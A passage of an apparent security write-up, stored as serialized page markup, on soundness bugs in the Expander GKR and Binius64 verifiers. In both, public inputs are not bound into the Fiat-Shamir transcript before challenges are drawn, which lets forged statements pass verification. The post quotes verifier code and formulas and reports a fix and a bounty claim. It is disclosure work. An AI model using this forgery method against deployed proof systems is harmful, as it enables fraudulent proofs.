GKR verification, the ",{"type":25,"tag":264,"props":13575,"children":13577},{"className":13576},[],[13578],{"type":30,"value":13579},"eval_cst",{"type":30,"value":13581}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":25,"tag":7764,"props":13583,"children":13587},{"code":13584,"language":13585,"meta":7,"className":13586,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n","rust","language-rust shiki shiki-themes slack-dark",[13588],{"type":25,"tag":264,"props":13589,"children":13590},{"__ignoreMap":7},[13591],{"type":25,"tag":271,"props":13592,"children":13595},{"class":13593,"line":13594},"line",1,[13596,13601,13607,13613,13618,13623,13628,13633,13638,13642,13647,13652,13656,13661],{"type":25,"tag":271,"props":13597,"children":13599},{"style":13598},"--shiki-default:#9CDCFE",[13600],{"type":30,"value":6448},{"type":25,"tag":271,"props":13602,"children":13604},{"style":13603},"--shiki-default:#D4D4D4",[13605],{"type":30,"value":13606}," -=",{"type":25,"tag":271,"props":13608,"children":13610},{"style":13609},"--shiki-default:#4EC9B0",[13611],{"type":30,"value":13612}," GKRVerifierHelper",{"type":25,"tag":271,"props":13614,"children":13615},{"style":13603},[13616],{"type":30,"value":13617},"::",{"type":25,"tag":271,"props":13619,"children":13621},{"style":13620},"--shiki-default:#DCDCAA",[13622],{"type":30,"value":13579},{"type":25,"tag":271,"props":13624,"children":13626},{"style":13625},"--shiki-default:#E6E6E6",[13627],{"type":30,"value":394},{"type":25,"tag":271,"props":13629,"children":13630},{"style":13603},[13631],{"type":30,"value":13632},"&",{"type":25,"tag":271,"props":13634,"children":13635},{"style":13598},[13636],{"type":30,"value":13637},"layer",{"type":25,"tag":271,"props":13639,"children":13640},{"style":13603},[13641],{"type":30,"value":1860},{"type":25,"tag":271,"props":13643,"children":13644},{"style":13625},[13645],{"type":30,"value":13646},"const_, ",{"type":25,"tag":271,"props":13648,"children":13649},{"style":13598},[13650],{"type":30,"value":13651},"public_input",{"type":25,"tag":271,"props":13653,"children":13654},{"style":13625},[13655],{"type":30,"value":44},{"type":25,"tag":271,"props":13657,"children":13658},{"style":13598},[13659],{"type":30,"value":13660},"sp",{"type":25,"tag":271,"props":13662,"children":13663},{"style":13625},[13664],{"type":30,"value":13665},");\n",{"type":25,"tag":26,"props":13667,"children":13668},{},[13669,13671,13676],{"type":30,"value":13670},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":25,"tag":264,"props":13672,"children":13674},{"className":13673},[],[13675],{"type":30,"value":13660},{"type":30,"value":13677},").",{"type":25,"tag":26,"props":13679,"children":13680},{},[13681],{"type":25,"tag":38,"props":13682,"children":13683},{},[13684],{"type":30,"value":13685},"The vulnerability:",{"type":25,"tag":26,"props":13687,"children":13688},{},[13689,13694],{"type":25,"tag":264,"props":13690,"children":13692},{"className":13691},[],[13693],{"type":30,"value":13651},{"type":30,"value":13695}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":25,"tag":26,"props":13697,"children":13698},{},[13699],{"type":25,"tag":698,"props":13700,"children":13703},{"alt":13701,"src":13702},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":25,"tag":26,"props":13705,"children":13706},{},[13707,13708,13713],{"type":30,"value":10272},{"type":25,"tag":264,"props":13709,"children":13711},{"className":13710},[],[13712],{"type":30,"value":13579},{"type":30,"value":13714}," function computes a linear combination:",{"type":25,"tag":26,"props":13716,"children":13717},{},[13718],{"type":25,"tag":264,"props":13719,"children":13721},{"className":13720},[267,268],[13722],{"type":25,"tag":271,"props":13723,"children":13725},{"className":13724},[274],[13726],{"type":25,"tag":271,"props":13727,"children":13729},{"className":13728,"ariaHidden":280},[279],[13730,13775,13900],{"type":25,"tag":271,"props":13731,"children":13733},{"className":13732},[285],[13734,13738,13747,13752,13762,13766,13771],{"type":25,"tag":271,"props":13735,"children":13737},{"className":13736,"style":6417},[290],[],{"type":25,"tag":271,"props":13739,"children":13741},{"className":13740},[296,30],[13742],{"type":25,"tag":271,"props":13743,"children":13745},{"className":13744},[296],[13746],{"type":30,"value":8917},{"type":25,"tag":271,"props":13748,"children":13750},{"className":13749,"style":2296},[296],[13751],{"type":30,"value":6434},{"type":25,"tag":271,"props":13753,"children":13755},{"className":13754},[296,30],[13756],{"type":25,"tag":271,"props":13757,"children":13759},{"className":13758},[296],[13760],{"type":30,"value":13761},"cst",{"type":25,"tag":271,"props":13763,"children":13765},{"className":13764,"style":338},[337],[],{"type":25,"tag":271,"props":13767,"children":13769},{"className":13768},[356],[13770],{"type":30,"value":1065},{"type":25,"tag":271,"props":13772,"children":13774},{"className":13773,"style":338},[337],[],{"type":25,"tag":271,"props":13776,"children":13778},{"className":13777},[285],[13779,13783,13840,13844,13872,13877,13882,13887,13891,13896],{"type":25,"tag":271,"props":13780,"children":13782},{"className":13781,"style":7026},[290],[],{"type":25,"tag":271,"props":13784,"children":13786},{"className":13785},[1082],[13787,13792],{"type":25,"tag":271,"props":13788,"children":13790},{"className":13789,"style":1089},[1082,1087,1088],[13791],{"type":30,"value":1092},{"type":25,"tag":271,"props":13793,"children":13795},{"className":13794},[982],[13796],{"type":25,"tag":271,"props":13797,"children":13799},{"className":13798},[987,1100],[13800,13829],{"type":25,"tag":271,"props":13801,"children":13803},{"className":13802},[992],[13804,13824],{"type":25,"tag":271,"props":13805,"children":13807},{"className":13806,"style":6544},[997],[13808],{"type":25,"tag":271,"props":13809,"children":13810},{"style":1113},[13811,13815],{"type":25,"tag":271,"props":13812,"children":13814},{"className":13813,"style":1008},[1007],[],{"type":25,"tag":271,"props":13816,"children":13818},{"className":13817},[1013,1014,1015,1016],[13819],{"type":25,"tag":271,"props":13820,"children":13822},{"className":13821},[296,297,1016],[13823],{"type":30,"value":1937},{"type":25,"tag":271,"props":13825,"children":13827},{"className":13826},[1177],[13828],{"type":30,"value":1180},{"type":25,"tag":271,"props":13830,"children":13832},{"className":13831},[992],[13833],{"type":25,"tag":271,"props":13834,"children":13836},{"className":13835,"style":6828},[997],[13837],{"type":25,"tag":271,"props":13838,"children":13839},{},[],{"type":25,"tag":271,"props":13841,"children":13843},{"className":13842,"style":411},[337],[],{"type":25,"tag":271,"props":13845,"children":13847},{"className":13846},[296],[13848,13857,13862],{"type":25,"tag":271,"props":13849,"children":13851},{"className":13850},[296,30],[13852],{"type":25,"tag":271,"props":13853,"children":13855},{"className":13854},[296],[13856],{"type":30,"value":10331},{"type":25,"tag":271,"props":13858,"children":13860},{"className":13859,"style":2296},[296],[13861],{"type":30,"value":6434},{"type":25,"tag":271,"props":13863,"children":13865},{"className":13864},[296,30],[13866],{"type":25,"tag":271,"props":13867,"children":13869},{"className":13868},[296],[13870],{"type":30,"value":13871},"input",{"type":25,"tag":271,"props":13873,"children":13875},{"className":13874},[391],[13876],{"type":30,"value":5604},{"type":25,"tag":271,"props":13878,"children":13880},{"className":13879},[296,297],[13881],{"type":30,"value":1937},{"type":25,"tag":271,"props":13883,"children":13885},{"className":13884},[437],[13886],{"type":30,"value":5630},{"type":25,"tag":271,"props":13888,"children":13890},{"className":13889,"style":2066},[337],[],{"type":25,"tag":271,"props":13892,"children":13894},{"className":13893},[2071],[13895],{"type":30,"value":3585},{"type":25,"tag":271,"props":13897,"children":13899},{"className":13898,"style":2066},[337],[],{"type":25,"tag":271,"props":13901,"children":13903},{"className":13902},[285],[13904,13908,13917,13922,13927,13932,13936,13985],{"type":25,"tag":271,"props":13905,"children":13907},{"className":13906,"style":375},[290],[],{"type":25,"tag":271,"props":13909,"children":13911},{"className":13910},[296,30],[13912],{"type":25,"tag":271,"props":13913,"children":13915},{"className":13914},[296],[13916],{"type":30,"value":4916},{"type":25,"tag":271,"props":13918,"children":13920},{"className":13919},[391],[13921],{"type":30,"value":394},{"type":25,"tag":271,"props":13923,"children":13925},{"className":13924},[296,297],[13926],{"type":30,"value":1937},{"type":25,"tag":271,"props":13928,"children":13930},{"className":13929},[404],[13931],{"type":30,"value":407},{"type":25,"tag":271,"props":13933,"children":13935},{"className":13934,"style":411},[337],[],{"type":25,"tag":271,"props":13937,"children":13939},{"className":13938},[296,4473],[13940],{"type":25,"tag":271,"props":13941,"children":13943},{"className":13942},[987],[13944],{"type":25,"tag":271,"props":13945,"children":13947},{"className":13946},[992],[13948],{"type":25,"tag":271,"props":13949,"children":13951},{"className":13950,"style":4561},[997],[13952,13964],{"type":25,"tag":271,"props":13953,"children":13954},{"style":4490},[13955,13959],{"type":25,"tag":271,"props":13956,"children":13958},{"className":13957,"style":4495},[1007],[],{"type":25,"tag":271,"props":13960,"children":13962},{"className":13961,"style":2296},[296,297],[13963],{"type":30,"value":2299},{"type":25,"tag":271,"props":13965,"children":13966},{"style":4490},[13967,13971],{"type":25,"tag":271,"props":13968,"children":13970},{"className":13969,"style":4495},[1007],[],{"type":25,"tag":271,"props":13972,"children":13974},{"className":13973,"style":4585},[4515],[13975],{"type":25,"tag":271,"props":13976,"children":13978},{"className":13977,"style":4591},[4590],[13979],{"type":25,"tag":4594,"props":13980,"children":13981},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[13982],{"type":25,"tag":4604,"props":13983,"children":13984},{"d":4606},[],{"type":25,"tag":271,"props":13986,"children":13988},{"className":13987},[437],[13989],{"type":30,"value":440},{"type":25,"tag":26,"props":13991,"children":13992},{},[13993,13994,14063,14065,14070,14072,14077],{"type":30,"value":8183},{"type":25,"tag":264,"props":13995,"children":13997},{"className":13996},[267,268],[13998],{"type":25,"tag":271,"props":13999,"children":14001},{"className":14000},[274],[14002],{"type":25,"tag":271,"props":14003,"children":14005},{"className":14004,"ariaHidden":280},[279],[14006],{"type":25,"tag":271,"props":14007,"children":14009},{"className":14008},[285],[14010,14014],{"type":25,"tag":271,"props":14011,"children":14013},{"className":14012,"style":4561},[290],[],{"type":25,"tag":271,"props":14015,"children":14017},{"className":14016},[296,4473],[14018],{"type":25,"tag":271,"props":14019,"children":14021},{"className":14020},[987],[14022],{"type":25,"tag":271,"props":14023,"children":14025},{"className":14024},[992],[14026],{"type":25,"tag":271,"props":14027,"children":14029},{"className":14028,"style":4561},[997],[14030,14042],{"type":25,"tag":271,"props":14031,"children":14032},{"style":4490},[14033,14037],{"type":25,"tag":271,"props":14034,"children":14036},{"className":14035,"style":4495},[1007],[],{"type":25,"tag":271,"props":14038,"children":14040},{"className":14039,"style":2296},[296,297],[14041],{"type":30,"value":2299},{"type":25,"tag":271,"props":14043,"children":14044},{"style":4490},[14045,14049],{"type":25,"tag":271,"props":14046,"children":14048},{"className":14047,"style":4495},[1007],[],{"type":25,"tag":271,"props":14050,"children":14052},{"className":14051,"style":4585},[4515],[14053],{"type":25,"tag":271,"props":14054,"children":14056},{"className":14055,"style":4591},[4590],[14057],{"type":25,"tag":4594,"props":14058,"children":14059},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[14060],{"type":25,"tag":4604,"props":14061,"children":14062},{"d":4606},[],{"type":30,"value":14064}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":25,"tag":264,"props":14066,"children":14068},{"className":14067},[],[14069],{"type":30,"value":13651},{"type":30,"value":14071},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":25,"tag":264,"props":14073,"children":14075},{"className":14074},[],[14076],{"type":30,"value":13651},{"type":30,"value":14078}," that makes the verifier's check pass.",{"type":25,"tag":26,"props":14080,"children":14081},{},[14082,14086,14088,14095,14097,14101,14108],{"type":25,"tag":38,"props":14083,"children":14084},{},[14085],{"type":30,"value":9059},{"type":30,"value":14087}," Fixed on 21st January 2026 via ",{"type":25,"tag":83,"props":14089,"children":14092},{"href":14090,"rel":14091},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[9066],[14093],{"type":30,"value":14094},"commit 4a8c2be",{"type":30,"value":14096}," ",{"type":25,"tag":14098,"props":14099,"children":14100},"br",{},[],{"type":25,"tag":83,"props":14102,"children":14105},{"href":14103,"rel":14104},"https://blog.polyhedra.network/expander-bug-bounty/",[9066],[14106],{"type":30,"value":14107},"Claimed 500k Bug bounty",{"type":30,"value":14109}," award pending",{"type":25,"tag":92,"props":14111,"children":14112},{},[],{"type":25,"tag":247,"props":14114,"children":14116},{"id":14115},"binius64",[14117],{"type":30,"value":74},{"type":25,"tag":26,"props":14119,"children":14120},{},[14121,14123,14251],{"type":30,"value":14122},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":25,"tag":264,"props":14124,"children":14126},{"className":14125},[267,268],[14127],{"type":25,"tag":271,"props":14128,"children":14130},{"className":14129},[274],[14131],{"type":25,"tag":271,"props":14132,"children":14134},{"className":14133,"ariaHidden":280},[279],[14135],{"type":25,"tag":271,"props":14136,"children":14138},{"className":14137},[285],[14139,14144],{"type":25,"tag":271,"props":14140,"children":14143},{"className":14141,"style":14142},[290],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":25,"tag":271,"props":14145,"children":14147},{"className":14146},[296],[14148,14155],{"type":25,"tag":271,"props":14149,"children":14152},{"className":14150},[296,14151],"mathbb",[14153],{"type":30,"value":14154},"F",{"type":25,"tag":271,"props":14156,"children":14158},{"className":14157},[982],[14159],{"type":25,"tag":271,"props":14160,"children":14162},{"className":14161},[987,1100],[14163,14239],{"type":25,"tag":271,"props":14164,"children":14166},{"className":14165},[992],[14167,14234],{"type":25,"tag":271,"props":14168,"children":14170},{"className":14169,"style":4659},[997],[14171],{"type":25,"tag":271,"props":14172,"children":14174},{"style":14173},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[14175,14179],{"type":25,"tag":271,"props":14176,"children":14178},{"className":14177,"style":1008},[1007],[],{"type":25,"tag":271,"props":14180,"children":14182},{"className":14181},[1013,1014,1015,1016],[14183],{"type":25,"tag":271,"props":14184,"children":14186},{"className":14185},[296,1016],[14187],{"type":25,"tag":271,"props":14188,"children":14190},{"className":14189},[296,1016],[14191,14196],{"type":25,"tag":271,"props":14192,"children":14194},{"className":14193},[296,1016],[14195],{"type":30,"value":1326},{"type":25,"tag":271,"props":14197,"children":14199},{"className":14198},[982],[14200],{"type":25,"tag":271,"props":14201,"children":14203},{"className":14202},[987],[14204],{"type":25,"tag":271,"props":14205,"children":14207},{"className":14206},[992],[14208],{"type":25,"tag":271,"props":14209,"children":14212},{"className":14210,"style":14211},[997],"height:0.7463em;",[14213],{"type":25,"tag":271,"props":14214,"children":14215},{"style":4784},[14216,14220],{"type":25,"tag":271,"props":14217,"children":14219},{"className":14218,"style":1161},[1007],[],{"type":25,"tag":271,"props":14221,"children":14223},{"className":14222},[1013,1166,1167,1016],[14224],{"type":25,"tag":271,"props":14225,"children":14227},{"className":14226},[296,1016],[14228],{"type":25,"tag":271,"props":14229,"children":14231},{"className":14230},[296,1016],[14232],{"type":30,"value":14233},"128",{"type":25,"tag":271,"props":14235,"children":14237},{"className":14236},[1177],[14238],{"type":30,"value":1180},{"type":25,"tag":271,"props":14240,"children":14242},{"className":14241},[992],[14243],{"type":25,"tag":271,"props":14244,"children":14247},{"className":14245,"style":14246},[997],"height:0.1776em;",[14248],{"type":25,"tag":271,"props":14249,"children":14250},{},[],{"type":30,"value":14252}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":25,"tag":26,"props":14254,"children":14255},{},[14256,14258,14263],{"type":30,"value":14257},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":25,"tag":38,"props":14259,"children":14260},{},[14261],{"type":30,"value":14262},"Shift Protocol",{"type":30,"value":14264}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":25,"tag":26,"props":14266,"children":14267},{},[14268],{"type":25,"tag":38,"props":14269,"children":14270},{},[14271],{"type":30,"value":13685},{"type":25,"tag":26,"props":14273,"children":14274},{},[14275],{"type":30,"value":14276},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":25,"tag":7764,"props":14278,"children":14280},{"code":14279,"language":13585,"meta":7,"className":13586,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[14281],{"type":25,"tag":264,"props":14282,"children":14283},{"__ignoreMap":7},[14284,14325,14352,14389,14398],{"type":25,"tag":271,"props":14285,"children":14286},{"class":13593,"line":13594},[14287,14293,14298,14303,14308,14312,14316,14320],{"type":25,"tag":271,"props":14288,"children":14290},{"style":14289},"--shiki-default:#569CD6",[14291],{"type":30,"value":14292},"pub",{"type":25,"tag":271,"props":14294,"children":14295},{"style":14289},[14296],{"type":30,"value":14297}," fn",{"type":25,"tag":271,"props":14299,"children":14300},{"style":13620},[14301],{"type":30,"value":14302}," verify",{"type":25,"tag":271,"props":14304,"children":14305},{"style":13625},[14306],{"type":30,"value":14307},"\u003C",{"type":25,"tag":271,"props":14309,"children":14310},{"style":13609},[14311],{"type":30,"value":14154},{"type":25,"tag":271,"props":14313,"children":14314},{"style":13625},[14315],{"type":30,"value":44},{"type":25,"tag":271,"props":14317,"children":14318},{"style":13609},[14319],{"type":30,"value":8577},{"type":25,"tag":271,"props":14321,"children":14322},{"style":13625},[14323],{"type":30,"value":14324},">(\n",{"type":25,"tag":271,"props":14326,"children":14327},{"class":13593,"line":11641},[14328,14333,14337,14342,14347],{"type":25,"tag":271,"props":14329,"children":14330},{"style":13598},[14331],{"type":30,"value":14332},"    constraint_system",{"type":25,"tag":271,"props":14334,"children":14335},{"style":13603},[14336],{"type":30,"value":359},{"type":25,"tag":271,"props":14338,"children":14339},{"style":13603},[14340],{"type":30,"value":14341}," &",{"type":25,"tag":271,"props":14343,"children":14344},{"style":13609},[14345],{"type":30,"value":14346},"ConstraintSystem",{"type":25,"tag":271,"props":14348,"children":14349},{"style":13625},[14350],{"type":30,"value":14351},",\n",{"type":25,"tag":271,"props":14353,"children":14355},{"class":13593,"line":14354},3,[14356,14361,14365,14369,14373,14378,14383],{"type":25,"tag":271,"props":14357,"children":14358},{"style":13598},[14359],{"type":30,"value":14360},"    public",{"type":25,"tag":271,"props":14362,"children":14363},{"style":13603},[14364],{"type":30,"value":359},{"type":25,"tag":271,"props":14366,"children":14367},{"style":13603},[14368],{"type":30,"value":14341},{"type":25,"tag":271,"props":14370,"children":14371},{"style":13625},[14372],{"type":30,"value":5604},{"type":25,"tag":271,"props":14374,"children":14375},{"style":13609},[14376],{"type":30,"value":14377},"Word",{"type":25,"tag":271,"props":14379,"children":14380},{"style":13625},[14381],{"type":30,"value":14382},"],    ",{"type":25,"tag":271,"props":14384,"children":14386},{"style":14385},"--shiki-default:#6A9955",[14387],{"type":30,"value":14388},"// \u003C- NEVER ABSORBED\n",{"type":25,"tag":271,"props":14390,"children":14392},{"class":13593,"line":14391},4,[14393],{"type":25,"tag":271,"props":14394,"children":14395},{"style":14385},[14396],{"type":30,"value":14397},"    // ...\n",{"type":25,"tag":271,"props":14399,"children":14401},{"class":13593,"line":14400},5,[14402,14407,14412,14417,14421,14426,14430,14434,14439,14444],{"type":25,"tag":271,"props":14403,"children":14404},{"style":13625},[14405],{"type":30,"value":14406},") ",{"type":25,"tag":271,"props":14408,"children":14409},{"style":13603},[14410],{"type":30,"value":14411},"->",{"type":25,"tag":271,"props":14413,"children":14414},{"style":13609},[14415],{"type":30,"value":14416}," Result",{"type":25,"tag":271,"props":14418,"children":14419},{"style":13625},[14420],{"type":30,"value":14307},{"type":25,"tag":271,"props":14422,"children":14423},{"style":13609},[14424],{"type":30,"value":14425},"VerifyOutput",{"type":25,"tag":271,"props":14427,"children":14428},{"style":13625},[14429],{"type":30,"value":14307},{"type":25,"tag":271,"props":14431,"children":14432},{"style":13609},[14433],{"type":30,"value":14154},{"type":25,"tag":271,"props":14435,"children":14436},{"style":13625},[14437],{"type":30,"value":14438},">, ",{"type":25,"tag":271,"props":14440,"children":14441},{"style":13609},[14442],{"type":30,"value":14443},"Error",{"type":25,"tag":271,"props":14445,"children":14446},{"style":13625},[14447],{"type":30,"value":14448},">\n",{"type":25,"tag":26,"props":14450,"children":14451},{},[14452,14454,14460,14461,14467,14469,14474],{"type":30,"value":14453},"In the shift protocol, challenges ",{"type":25,"tag":264,"props":14455,"children":14457},{"className":14456},[],[14458],{"type":30,"value":14459},"r_j",{"type":30,"value":12218},{"type":25,"tag":264,"props":14462,"children":14464},{"className":14463},[],[14465],{"type":30,"value":14466},"inout_eval_point",{"type":30,"value":14468}," are sampled ",{"type":25,"tag":38,"props":14470,"children":14471},{},[14472],{"type":30,"value":14473},"before",{"type":30,"value":14475}," the public witness is bound.",{"type":25,"tag":26,"props":14477,"children":14478},{},[14479],{"type":25,"tag":38,"props":14480,"children":14481},{},[14482],{"type":30,"value":7779},{"type":25,"tag":26,"props":14484,"children":14485},{},[14486],{"type":25,"tag":698,"props":14487,"children":14490},{"alt":14488,"src":14489},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":25,"tag":26,"props":14492,"children":14493},{},[14494],{"type":30,"value":14495},"During verification",{"type":25,"tag":661,"props":14497,"children":14498},{},[14499,14519,14531,14551],{"type":25,"tag":112,"props":14500,"children":14501},{},[14502,14504,14509,14511,14517],{"type":30,"value":14503},"Sumcheck produces challenge points ",{"type":25,"tag":264,"props":14505,"children":14507},{"className":14506},[],[14508],{"type":30,"value":14459},{"type":30,"value":14510}," (bit indices) and ",{"type":25,"tag":264,"props":14512,"children":14514},{"className":14513},[],[14515],{"type":30,"value":14516},"r_s",{"type":30,"value":14518}," (shift indices)",{"type":25,"tag":112,"props":14520,"children":14521},{},[14522,14524,14529],{"type":30,"value":14523},"Verifier samples ",{"type":25,"tag":264,"props":14525,"children":14527},{"className":14526},[],[14528],{"type":30,"value":14466},{"type":30,"value":14530}," from transcript",{"type":25,"tag":112,"props":14532,"children":14533},{},[14534,14536,14542,14544,14549],{"type":30,"value":14535},"Verifier computes ",{"type":25,"tag":264,"props":14537,"children":14539},{"className":14538},[],[14540],{"type":30,"value":14541},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":30,"value":14543}," using the unbound ",{"type":25,"tag":264,"props":14545,"children":14547},{"className":14546},[],[14548],{"type":30,"value":10331},{"type":30,"value":14550}," slice",{"type":25,"tag":112,"props":14552,"children":14553},{},[14554,14555,14561],{"type":30,"value":10272},{"type":25,"tag":264,"props":14556,"children":14558},{"className":14557},[],[14559],{"type":30,"value":14560},"public_eval",{"type":30,"value":14562}," feeds into subsequent verification equations",{"type":25,"tag":26,"props":14564,"children":14565},{},[14566],{"type":30,"value":14567},"The MLE evaluation is linear in the public witness bits:",{"type":25,"tag":26,"props":14569,"children":14570},{},[14571],{"type":25,"tag":264,"props":14572,"children":14574},{"className":14573},[267,268],[14575],{"type":25,"tag":271,"props":14576,"children":14578},{"className":14577},[274],[14579],{"type":25,"tag":271,"props":14580,"children":14582},{"className":14581,"ariaHidden":280},[279],[14583,14627,14767,14879],{"type":25,"tag":271,"props":14584,"children":14586},{"className":14585},[285],[14587,14591,14600,14605,14614,14618,14623],{"type":25,"tag":271,"props":14588,"children":14590},{"className":14589,"style":6417},[290],[],{"type":25,"tag":271,"props":14592,"children":14594},{"className":14593},[296,30],[14595],{"type":25,"tag":271,"props":14596,"children":14598},{"className":14597},[296],[14599],{"type":30,"value":10331},{"type":25,"tag":271,"props":14601,"children":14603},{"className":14602,"style":2296},[296],[14604],{"type":30,"value":6434},{"type":25,"tag":271,"props":14606,"children":14608},{"className":14607},[296,30],[14609],{"type":25,"tag":271,"props":14610,"children":14612},{"className":14611},[296],[14613],{"type":30,"value":8917},{"type":25,"tag":271,"props":14615,"children":14617},{"className":14616,"style":338},[337],[],{"type":25,"tag":271,"props":14619,"children":14621},{"className":14620},[356],[14622],{"type":30,"value":1065},{"type":25,"tag":271,"props":14624,"children":14626},{"className":14625,"style":338},[337],[],{"type":25,"tag":271,"props":14628,"children":14630},{"className":14629},[285],[14631,14635,14707,14711,14724,14729,14734,14739,14744,14749,14754,14758,14763],{"type":25,"tag":271,"props":14632,"children":14634},{"className":14633,"style":11116},[290],[],{"type":25,"tag":271,"props":14636,"children":14638},{"className":14637},[1082],[14639,14644],{"type":25,"tag":271,"props":14640,"children":14642},{"className":14641,"style":1089},[1082,1087,1088],[14643],{"type":30,"value":1092},{"type":25,"tag":271,"props":14645,"children":14647},{"className":14646},[982],[14648],{"type":25,"tag":271,"props":14649,"children":14651},{"className":14650},[987,1100],[14652,14696],{"type":25,"tag":271,"props":14653,"children":14655},{"className":14654},[992],[14656,14691],{"type":25,"tag":271,"props":14657,"children":14659},{"className":14658,"style":6004},[997],[14660],{"type":25,"tag":271,"props":14661,"children":14662},{"style":1113},[14663,14667],{"type":25,"tag":271,"props":14664,"children":14666},{"className":14665,"style":1008},[1007],[],{"type":25,"tag":271,"props":14668,"children":14670},{"className":14669},[1013,1014,1015,1016],[14671],{"type":25,"tag":271,"props":14672,"children":14674},{"className":14673},[296,1016],[14675,14681,14686],{"type":25,"tag":271,"props":14676,"children":14679},{"className":14677,"style":14678},[296,297,1016],"margin-right:0.02691em;",[14680],{"type":30,"value":11188},{"type":25,"tag":271,"props":14682,"children":14684},{"className":14683},[404,1016],[14685],{"type":30,"value":407},{"type":25,"tag":271,"props":14687,"children":14689},{"className":14688},[296,297,1016],[14690],{"type":30,"value":2508},{"type":25,"tag":271,"props":14692,"children":14694},{"className":14693},[1177],[14695],{"type":30,"value":1180},{"type":25,"tag":271,"props":14697,"children":14699},{"className":14698},[992],[14700],{"type":25,"tag":271,"props":14701,"children":14703},{"className":14702,"style":6576},[997],[14704],{"type":25,"tag":271,"props":14705,"children":14706},{},[],{"type":25,"tag":271,"props":14708,"children":14710},{"className":14709,"style":411},[337],[],{"type":25,"tag":271,"props":14712,"children":14714},{"className":14713},[296],[14715],{"type":25,"tag":271,"props":14716,"children":14718},{"className":14717},[296,30],[14719],{"type":25,"tag":271,"props":14720,"children":14722},{"className":14721},[296],[14723],{"type":30,"value":10331},{"type":25,"tag":271,"props":14725,"children":14727},{"className":14726},[391],[14728],{"type":30,"value":5604},{"type":25,"tag":271,"props":14730,"children":14732},{"className":14731,"style":14678},[296,297],[14733],{"type":30,"value":11188},{"type":25,"tag":271,"props":14735,"children":14737},{"className":14736},[437],[14738],{"type":30,"value":5630},{"type":25,"tag":271,"props":14740,"children":14742},{"className":14741},[391],[14743],{"type":30,"value":5604},{"type":25,"tag":271,"props":14745,"children":14747},{"className":14746},[296,297],[14748],{"type":30,"value":2508},{"type":25,"tag":271,"props":14750,"children":14752},{"className":14751},[437],[14753],{"type":30,"value":5630},{"type":25,"tag":271,"props":14755,"children":14757},{"className":14756,"style":2066},[337],[],{"type":25,"tag":271,"props":14759,"children":14761},{"className":14760},[2071],[14762],{"type":30,"value":3585},{"type":25,"tag":271,"props":14764,"children":14766},{"className":14765,"style":2066},[337],[],{"type":25,"tag":271,"props":14768,"children":14770},{"className":14769},[285],[14771,14776,14785,14790,14795,14800,14804,14861,14866,14870,14875],{"type":25,"tag":271,"props":14772,"children":14775},{"className":14773,"style":14774},[290],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":25,"tag":271,"props":14777,"children":14779},{"className":14778},[296,30],[14780],{"type":25,"tag":271,"props":14781,"children":14783},{"className":14782},[296],[14784],{"type":30,"value":4916},{"type":25,"tag":271,"props":14786,"children":14788},{"className":14787},[391],[14789],{"type":30,"value":394},{"type":25,"tag":271,"props":14791,"children":14793},{"className":14792},[296,297],[14794],{"type":30,"value":2508},{"type":25,"tag":271,"props":14796,"children":14798},{"className":14797},[404],[14799],{"type":30,"value":407},{"type":25,"tag":271,"props":14801,"children":14803},{"className":14802,"style":411},[337],[],{"type":25,"tag":271,"props":14805,"children":14807},{"className":14806},[296],[14808,14813],{"type":25,"tag":271,"props":14809,"children":14811},{"className":14810,"style":2296},[296,297],[14812],{"type":30,"value":2299},{"type":25,"tag":271,"props":14814,"children":14816},{"className":14815},[982],[14817],{"type":25,"tag":271,"props":14818,"children":14820},{"className":14819},[987,1100],[14821,14850],{"type":25,"tag":271,"props":14822,"children":14824},{"className":14823},[992],[14825,14845],{"type":25,"tag":271,"props":14826,"children":14828},{"className":14827,"style":1918},[997],[14829],{"type":25,"tag":271,"props":14830,"children":14831},{"style":2318},[14832,14836],{"type":25,"tag":271,"props":14833,"children":14835},{"className":14834,"style":1008},[1007],[],{"type":25,"tag":271,"props":14837,"children":14839},{"className":14838},[1013,1014,1015,1016],[14840],{"type":25,"tag":271,"props":14841,"children":14843},{"className":14842,"style":6560},[296,297,1016],[14844],{"type":30,"value":6563},{"type":25,"tag":271,"props":14846,"children":14848},{"className":14847},[1177],[14849],{"type":30,"value":1180},{"type":25,"tag":271,"props":14851,"children":14853},{"className":14852},[992],[14854],{"type":25,"tag":271,"props":14855,"children":14857},{"className":14856,"style":11265},[997],[14858],{"type":25,"tag":271,"props":14859,"children":14860},{},[],{"type":25,"tag":271,"props":14862,"children":14864},{"className":14863},[437],[14865],{"type":30,"value":440},{"type":25,"tag":271,"props":14867,"children":14869},{"className":14868,"style":2066},[337],[],{"type":25,"tag":271,"props":14871,"children":14873},{"className":14872},[2071],[14874],{"type":30,"value":3585},{"type":25,"tag":271,"props":14876,"children":14878},{"className":14877,"style":2066},[337],[],{"type":25,"tag":271,"props":14880,"children":14882},{"className":14881},[285],[14883,14887,14896,14901,14906,14911,14915,14925,14930,14939,14944,14953],{"type":25,"tag":271,"props":14884,"children":14886},{"className":14885,"style":7026},[290],[],{"type":2